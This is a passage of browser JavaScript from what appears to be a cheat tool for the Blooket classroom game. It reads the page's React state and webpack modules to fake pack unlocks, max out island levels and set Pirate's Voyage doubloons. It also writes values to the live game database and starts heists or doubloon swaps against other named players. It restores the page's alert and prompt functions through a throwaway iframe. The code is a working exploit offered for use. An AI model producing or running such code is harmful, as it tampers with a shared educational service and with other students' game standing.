this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 });
445
this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 });
446
break;
447
case "legendary":
448
this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 });
449
this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 });
450
this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 });
451
this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 });
452
this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 });
453
this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 });
454
this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 });
455
break;
456
case "chroma":
457
this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 });
458
this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 });
459
this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 });
460
this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 });
461
this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 });
462
this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 });
463
this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 });
464
}
465
}
466
create() {
467
scene.scene = this;
468
scene.rarity = "";
469
scene.particles = this.physics.add.group({
470
classType: new phaser.Class({
471
Extends: phaser.GameObjects.Image,
472
initialize: function () {
473
phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1");
474
this.setDepth(3);
475
this.lifespan = 0;
476
},
477
spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) {
478
this.setTexture(texture);
479
this.setActive(true);
480
this.setVisible(true);
481
this.setPosition(x, y);
482
this.setScale(scale);
483
this.targets = [];
484
scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity);
485
this.body.setGravityY(gravity);
486
this.body.setAngularVelocity(angle);
487
this.lifespan = lifespan;
488
},
489
update: function (t, s) {
490
this.lifespan -= s;
491
if (this.lifespan > 0) return;
492
this.setActive(!1);
493
this.setVisible(!1);
494
}
495
}),
496
runChildUpdate: !0
497
});
498
this.nextParticle = 0;
499
this.numExplosions = 0;
500
this.game.events.on("start-particles", (t) => {
501
scene.rarity = t;
502
this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1;
503
});
504
}
505
update(e, t) {
506
const I = webpack("74sb");
507
let Z = function (e) {
508
switch (e) {
509
case "center": {
510
var t = Object(I.l)(-115, -65);
511
return {
512
x: scene.scene.cameras.main.worldView.width / 2,
513
y: scene.scene.cameras.main.worldView.height / 2,
514
scale: Object(I.l)(.7, 1),
515
angle: t,
516
velocity: Object(I.l)(600, 750),
517
gravity: 700,
518
angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175),
519
lifespan: 2500
520
}
521
}
522
case "right-bottom": return {
523
x: scene.scene.cameras.main.worldView.width,
524
y: scene.scene.cameras.main.worldView.height,
525
scale: Object(I.l)(.7, 1),
526
angle: Object(I.l)(-160, -110),
527
velocity: Object(I.l)(600, 750),
528
gravity: 500,
529
angVelocity: Object(I.l)(-175, -125),
530
lifespan: 2500
531
};
532
case "left-bottom": return {
533
x: 0,
534
y: scene.scene.cameras.main.worldView.height,
535
scale: Object(I.l)(.7, 1),
536
angle: Object(I.l)(-70, -20),
537
velocity: Object(I.l)(600, 750),
538
gravity: 500,
539
angVelocity: Object(I.l)(125, 175),
540
lifespan: 2500
541
};
542
case "top": return {
543
x: Object(I.l)(0, scene.scene.cameras.main.worldView.width),
544
y: -50,
545
scale: Object(I.l)(.7, 1),
546
angle: 90,
547
velocity: Object(I.l)(0, 50),
548
gravity: 700,
549
angVelocity: Object(I.l)(-150, 150),
550
lifespan: 2500
551
};
552
case "right-shower": return {
553
x: scene.scene.cameras.main.worldView.width,
554
y: Object(I.l)(0, scene.scene.cameras.main.worldView.height),
555
scale: Object(I.l)(.7, 1),
556
angle: Object(I.l)(-180, -130),
557
velocity: Object(I.l)(600, 750),
558
gravity: 500,
559
angVelocity: Object(I.l)(-175, -125),
560
lifespan: 2500
561
};
562
case "left-shower": return {
563
x: 0,
564
y: Object(I.l)(0, scene.scene.cameras.main.worldView.height),
565
scale: Object(I.l)(.7, 1),
566
angle: Object(I.l)(-50, 0),
567
velocity: Object(I.l)(600, 750),
568
gravity: 500,
569
angVelocity: Object(I.l)(125, 175),
570
lifespan: 2500
571
};
572
case "right-diamond": {
573
var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height);
574
return {
575
x: scene.scene.cameras.main.worldView.width,
576
y: a,
577
scale: Object(I.l)(.7, 1),
578
angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210,
579
velocity: Object(I.l)(600, 750),
580
gravity: 0,
581
angVelocity: Object(I.l)(-175, -125),
582
lifespan: 2500
583
}
584
}
585
case "left-diamond": {
586
var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height);
587
return {
588
x: 0,
589
y: n,
590
scale: Object(I.l)(.7, 1),
591
angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30,
592
velocity: Object(I.l)(600, 750),
593
gravity: 0,
594
angVelocity: Object(I.l)(125, 175),
595
lifespan: 2500
596
}
597
}
598
default: return {};
599
}
600
};
601
if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) {
602
switch (scene.rarity) {
603
case "Uncommon": {
604
for (let i = 0; i < 2; i++) {
605
let n = scene.particles.get();
606
n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`))
607
}
608
break;
609
}
610
case "Rare": {
611
for (var o = 0; o < 2; o++) {
612
var r = scene.particles.get();
613
r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`))
614
}
615
break;
616
}
617
case "Epic": {
618
for (var s = 0; s < 2; s++) {
619
var i = scene.particles.get();
620
i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`))
621
}
622
break;
623
}
624
case "Legendary": {
625
for (var l = 0; l < 3; l++) {
626
var c = scene.particles.get();
627
c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`))
628
}
629
break;
630
}
631
case "Chroma": {
632
for (var u = 0; u < 3; u++) {
633
var d = scene.particles.get();
634
d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`))
635
}
636
break;
637
}
638
}
639
this.nextParticle = 20;
640
this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0));
641
}
642
}
643
}
644
return function (box) {
645
if (window.location.pathname !== "/market") return alert("This must be ran on the market page");
646
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
647
let packs = webpack('fGzD');
648
packs = Object.keys(packs.a).reduce((obj, pack) => (obj.packs.includes(pack) && (obj.data[pack] = Object.fromEntries(packs.b(pack))), obj), { packs: Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt), data: {} }).data;
649
if (packs[box]) {
650
function weighted(pack) {
651
let weights = [];
652
const items = Object.keys(packs[pack]);
653
for (const key of items) weights.push(packs[pack][key] + (weights[items.indexOf(key) - 1] || 0));
654
const choice = weights[weights.length - 1] * Math.random();
655
return items[weights.findIndex(w => w >= choice)];
656
}
657
const blook = weighted(box);
658
const allBlooks = Object.values(webpack.c).find(x => x.exports?.a?.Elephant).exports.a;
659
stateNode.setState({
660
loadingPack: false,
661
openPack: true,
662
unlockedBlook: blook,
663
tokens: stateNode.state.tokens,
664
newUnlock: true,
665
game: {
666
type: phaser.WEBGL,
667
parent: "phaser-market",
668
width: "100%",
669
height: "100%",
670
scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH },
671
transparent: true,
672
physics: { default: "arcade" },
673
scene: new Particles(allBlooks[blook].rarity)
674
},
675
canOpen: true
676
});
677
} else alert("I couldn't find that box!");
678
}
679
} catch { }
680
})()
681
},
682
{
683
name: "Simulate Unlock",
684
description: "Simulate unlocking most of the blooks",
685
inputs: [
686
{
687
name: "Blook",
688
type: "options",
689
options: () => {
690
try {
691
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
692
const cache = Object.values(webpack.c);
693
const packs = cache.find(x => typeof x.exports.a?.Breakfast == "number").exports.a;
694
return Object.entries(cache.find(x => x.exports.a?.Black).exports.a).reduce((a, [b, c]) => (packs[c.realSet || c.set] ? a.concat(b) : a), []);
695
} catch { return []; }
696
}
697
}
698
],
699
run: (function () {
700
try {
701
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
702
let values = Object.values(webpack.c),
703
blooks = values.find(x => x.exports?.a?.Chick?.set).exports.a,
704
packs = values.find(x => x.exports.a?.Breakfast).exports.a,
705
allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {});
706
let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports;
707
let scene = {};
708
class Particles extends phaser.Scene {
709
constructor(rarity) {
710
super();
711
this.rarity = rarity.toLowerCase();
712
}
713
preload() {
714
switch (this.rarity) {
715
case "uncommon":
716
this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 });
717
this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 });
718
this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 });
719
this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 });
720
this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 });
721
this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 });
722
this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 });
723
break;
724
case "rare":
725
this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 });
726
this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 });
727
this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 });
728
this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 });
729
this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 });
730
this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 });
731
this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 });
732
break;
733
case "epic":
734
this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 });
735
this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 });
736
this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 });
737
this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 });
738
this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 });
739
this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 });
740
this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 });
741
break;
742
case "legendary":
743
this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 });
744
this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 });
745
this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 });
746
this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 });
747
this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 });
748
this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 });
749
this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 });
750
break;
751
case "chroma":
752
this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 });
753
this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 });
754
this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 });
755
this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 });
756
this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 });
757
this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 });
758
this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 });
759
}
760
}
761
create() {
762
scene.scene = this;
763
scene.rarity = "";
764
scene.particles = this.physics.add.group({
765
classType: new phaser.Class({
766
Extends: phaser.GameObjects.Image,
767
initialize: function () {
768
phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1");
769
this.setDepth(3);
770
this.lifespan = 0;
771
},
772
spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) {
773
this.setTexture(texture);
774
this.setActive(true);
775
this.setVisible(true);
776
this.setPosition(x, y);
777
this.setScale(scale);
778
this.targets = [];
779
scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity);
780
this.body.setGravityY(gravity);
781
this.body.setAngularVelocity(angle);
782
this.lifespan = lifespan;
783
},
784
update: function (t, s) {
785
this.lifespan -= s;
786
if (this.lifespan > 0) return;
787
this.setActive(!1);
788
this.setVisible(!1);
789
}
790
}),
791
runChildUpdate: !0
792
});
793
this.nextParticle = 0;
794
this.numExplosions = 0;
795
this.game.events.on("start-particles", (t) => {
796
scene.rarity = t;
797
this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1;
798
});
799
}
800
update(e, t) {
801
const I = webpack("74sb");
802
let Z = function (e) {
803
switch (e) {
804
case "center": {
805
var t = Object(I.l)(-115, -65);
806
return {
807
x: scene.scene.cameras.main.worldView.width / 2,
808
y: scene.scene.cameras.main.worldView.height / 2,
809
scale: Object(I.l)(.7, 1),
810
angle: t,
811
velocity: Object(I.l)(600, 750),
812
gravity: 700,
813
angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175),
814
lifespan: 2500
815
}
816
}
817
case "right-bottom": return {
818
x: scene.scene.cameras.main.worldView.width,
819
y: scene.scene.cameras.main.worldView.height,
820
scale: Object(I.l)(.7, 1),
821
angle: Object(I.l)(-160, -110),
822
velocity: Object(I.l)(600, 750),
823
gravity: 500,
824
angVelocity: Object(I.l)(-175, -125),
825
lifespan: 2500
826
};
827
case "left-bottom": return {
828
x: 0,
829
y: scene.scene.cameras.main.worldView.height,
830
scale: Object(I.l)(.7, 1),
831
angle: Object(I.l)(-70, -20),
832
velocity: Object(I.l)(600, 750),
833
gravity: 500,
834
angVelocity: Object(I.l)(125, 175),
835
lifespan: 2500
836
};
837
case "top": return {
838
x: Object(I.l)(0, scene.scene.cameras.main.worldView.width),
839
y: -50,
840
scale: Object(I.l)(.7, 1),
841
angle: 90,
842
velocity: Object(I.l)(0, 50),
843
gravity: 700,
844
angVelocity: Object(I.l)(-150, 150),
845
lifespan: 2500
846
};
847
case "right-shower": return {
848
x: scene.scene.cameras.main.worldView.width,
849
y: Object(I.l)(0, scene.scene.cameras.main.worldView.height),
850
scale: Object(I.l)(.7, 1),
851
angle: Object(I.l)(-180, -130),
852
velocity: Object(I.l)(600, 750),
853
gravity: 500,
854
angVelocity: Object(I.l)(-175, -125),
855
lifespan: 2500
856
};
857
case "left-shower": return {
858
x: 0,
859
y: Object(I.l)(0, scene.scene.cameras.main.worldView.height),
860
scale: Object(I.l)(.7, 1),
861
angle: Object(I.l)(-50, 0),
862
velocity: Object(I.l)(600, 750),
863
gravity: 500,
864
angVelocity: Object(I.l)(125, 175),
865
lifespan: 2500
866
};
867
case "right-diamond": {
868
var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height);
869
return {
870
x: scene.scene.cameras.main.worldView.width,
871
y: a,
872
scale: Object(I.l)(.7, 1),
873
angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210,
874
velocity: Object(I.l)(600, 750),
875
gravity: 0,
876
angVelocity: Object(I.l)(-175, -125),
877
lifespan: 2500
878
}
879
}
880
case "left-diamond": {
881
var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height);
882
return {
883
x: 0,
884
y: n,
885
scale: Object(I.l)(.7, 1),
886
angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30,
887
velocity: Object(I.l)(600, 750),
888
gravity: 0,
889
angVelocity: Object(I.l)(125, 175),
890
lifespan: 2500
891
}
892
}
893
default: return {};
894
}
895
};
896
if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) {
897
switch (scene.rarity) {
898
case "Uncommon": {
899
for (let i = 0; i < 2; i++) {
900
let n = scene.particles.get();
901
n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`))
902
}
903
break;
904
}
905
case "Rare": {
906
for (var o = 0; o < 2; o++) {
907
var r = scene.particles.get();
908
r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`))
909
}
910
break;
911
}
912
case "Epic": {
913
for (var s = 0; s < 2; s++) {
914
var i = scene.particles.get();
915
i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`))
916
}
917
break;
918
}
919
case "Legendary": {
920
for (var l = 0; l < 3; l++) {
921
var c = scene.particles.get();
922
c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`))
923
}
924
break;
925
}
926
case "Chroma": {
927
for (var u = 0; u < 3; u++) {
928
var d = scene.particles.get();
929
d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`))
930
}
931
break;
932
}
933
}
934
this.nextParticle = 20;
935
this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0));
936
}
937
}
938
}
939
return function (blook) {
940
let i = document.createElement('iframe');
941
document.body.append(i);
942
window.alert = i.contentWindow.alert.bind(window);
943
window.prompt = i.contentWindow.prompt.bind(window);
944
i.remove();
945
if (window.location.pathname == "/market") {
946
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
947
stateNode.setState({
948
loadingPack: false,
949
openPack: true,
950
unlockedBlook: blook,
951
newUnlock: true,
952
game: {
953
type: phaser.WEBGL,
954
parent: "phaser-market",
955
width: "100%",
956
height: "100%",
957
scale: {
958
mode: phaser.Scale.NONE,
959
autoCenter: phaser.Scale.CENTER_BOTH
960
},
961
transparent: true,
962
physics: {
963
default: "arcade"
964
},
965
scene: new Particles(allBlooks[blook].rarity)
966
},
967
canOpen: true
968
});
969
} else alert("This can only be ran on the market page!");
970
}
971
} catch { }
972
})()
973
}
974
],
975
},
976
voyage: {
977
name: "Pirate's Voyage",
978
img: "data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+PCFET0NUWVBFIHN2ZyBQVUJMSUMgIi0vL1czQy8vRFREIFNWRyAxLjEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvR3JhcGhpY3MvU1ZHLzEuMS9EVEQvc3ZnMTEuZHRkIj48c3ZnIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHZpZXdCb3g9IjAgMCAzMDAgMzAwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbDpzcGFjZT0icHJlc2VydmUiIHhtbG5zOnNlcmlmPSJodHRwOi8vd3d3LnNlcmlmLmNvbS8iIHN0eWxlPSJmaWxsLXJ1bGU6ZXZlbm9kZDtjbGlwLXJ1bGU6ZXZlbm9kZDtzdHJva2UtbGluZWpvaW46cm91bmQ7c3Ryb2tlLW1pdGVybGltaXQ6MjsiPjxnIGlkPSJCb2F0Ij48cGF0aCBkPSJNMTcwLjQsNTYuMDU0Yy02OC43ODgsMTAuMTc0IC0xMTUuOTcxLDU2LjkzOCAtMTQ1LjQxMSwxMzMuNzVsMTUuNDY5LDcuNzM0YzMwLjk2MiwtMjguMTc1IDc0LjcwNSwtMzcuNzg3IDEzMi4zMjIsLTI3LjI1bDAsLTE3LjYxMWMtMjUuNjI5LC0yNy45NTIgLTI2Ljk2NiwtNTYuNzcyIDAuNzE0LC04Ni42MjhsLTMuMDk0LC05Ljk5NVoiIHN0eWxlPSJmaWxsOiNmNmUwYmQ7Ii8+PHBhdGggZD0iTTE5OS42NzMsNjAuODEzYzMyLjc4NCw0Mi45ODIgNjUuODIyLDkwLjg4NyA5Ny4zMzcsMTM5LjU4MWwtNi42NjMsMGMtMTIuMDg1LC0zMS4xMTEgLTU3Ljg4MiwtMzkuNjk0IC05MS42MjYsLTI3LjI1YzIyLjUxNCwtMzQuNTc5IDE3Ljc5NiwtNzIuNjczIDAuOTUyLC0xMTIuMzMxWiIgc3R5bGU9ImZpbGw6I2Y2ZTBiZDsiLz48cGF0aCBkPSJNNjkuNDQ4LDE5Ny41MzhjMCwwIC01OS43MDcsLTE1LjI0MyAtNjguMzk4LC0xNy40NjJjLTAuMDc2LC0wLjAxOSAtMC4xNTQsMC4wMiAtMC4xODQsMC4wOTJjLTAuMDMsMC4wNzIgLTAuMDAyLDAuMTU1IDAuMDY1LDAuMTk1YzkuNjgyLDUuNzc1IDkxLjY0Nyw1NC42NTggOTEuNjQ3LDU0LjY1OGwtMjMuMTMsLTM3LjQ4M1oiIHN0eWxlPSJmaWxsOiM4ZDZlNDE7Ii8+PHBhdGggZD0iTTE2NC40NSw0Ny45MDNjMCwtNS4zNTMgNC4zNDYsLTkuNjk4IDkuNjk4LC05LjY5OGwxOS4zOTcsLTBjNS4zNTIsLTAgOS42OTgsNC4zNDUgOS42OTgsOS42OThsLTAsMTU2Ljk1M2MtMCw1LjM1MyAtNC4zNDYsOS42OTggLTkuNjk4LDkuNjk4bC0xOS4zOTcsMGMtNS4zNTIsMCAtOS42OTgsLTQuMzQ1IC05LjY5OCwtOS42OThsMCwtMTU2Ljk1M1oiIHN0eWxlPSJmaWxsOiM3ZjY4NDU7Ii8+PHBhdGggZD0iTTI2My45OTMsMjU2LjEwM2MyMi4xNzEsLTE0LjcxIDM2LjAwNywtMzUuNTE1IDM2LjAwNywtNTguNTY1bC0yMzAuNTUyLDBjMCwyMy43MTMgMTQuNjQzLDQ1LjA1IDM3Ljk0LDU5LjgxOWM5Ljg3NSwtMy43MjkgMjAuMDQxLC0xMS4zMzQgMzAuNDYzLC0yMi4zMzZjMzIuODExLDM1LjQ1NSA2NC4wNjksMzUuOTQzIDkzLjcwOCwwYzYuODM4LDkuNjc3IDE3LjczNiwxNi42NDYgMzIuNDM0LDIxLjA4MloiIHN0eWxlPSJmaWxsOiNiNjkyNWY7Ii8+PC9nPjwvc3ZnPg==",
979
cheats: [
980
{
981
name: "Max Levels",
982
description: "Maxes out all islands and your boat",
983
run: function () {
984
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
985
stateNode.setState({ islandLevels: new Array(stateNode.state.islandLevels.length).fill(5) }, stateNode.updateBoatLevel);
986
}
987
},
988
{
989
name: "Set Doubloons",
990
description: "Sets Doubloons",
991
inputs: [{
992
name: "Amount",
993
type: "number"
994
}],
995
run: function (doubloons) {
996
let i = document.createElement('iframe');
997
document.body.append(i);
998
window.prompt = i.contentWindow.prompt.bind(window);
999
i.remove();
1000
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1001
stateNode.setState({ doubloons });
1002
stateNode.props.liveGameController.setVal({
1003
path: `c/${stateNode.props.client.name}/d`,
1004
val: doubloons
1005
});
1006
}
1007
},
1008
{
1009
name: "Start Heist",
1010
description: "Starts a heist on someone",
1011
inputs: [{
1012
name: "Player",
1013
type: "options",
1014
options: () => {
1015
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1016
return new Promise(res => stateNode.props.liveGameController._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([]));
1017
}
1018
}],
1019
run: function (target) {
1020
let i = document.createElement('iframe');
1021
document.body.append(i);
1022
window.prompt = i.contentWindow.prompt.bind(window);
1023
i.remove();
1024
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1025
1026
stateNode.props.liveGameController.getDatabaseVal("c", function (val) {
1027
const players = Object.entries(val || {}).reduce((a, [name, c]) => (name == stateNode.props.client.name && a.push({ name, blook: c.b, doubloons: c.d || 0 }), a), []);
1028
if (players.length === 0) {
1029
stateNode.questionsToAnswer = 1;
1030
return void stateNode.randomQ();
1031
}
1032
const { name, blook, doubloons } = players.find(x => x.name == target) || players.sort((a, b) => b.doubloons - a.doubloons)[0];
1033
stateNode.setState({
1034
stage: "heist",
1035
heistInfo: { name, blook },
1036
prizeAmount: Math.max(1000, doubloons)
1037
});
1038
});
1039
}
1040
},
1041
{
1042
name: "Swap Doubloons",
1043
description: "Swaps Doubloons with someone",
1044
inputs: [{
1045
name: "Player",
1046
type: "options",
1047
options: () => {
1048
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1049
return new Promise(res => stateNode.props.liveGameController._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([]));
1050
}
1051
}],
1052
run: async function (player) {
1053
let i = document.createElement('iframe');
1054
document.body.append(i);
1055
window.prompt = i.contentWindow.prompt.bind(window);
1056
i.remove();
1057
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1058
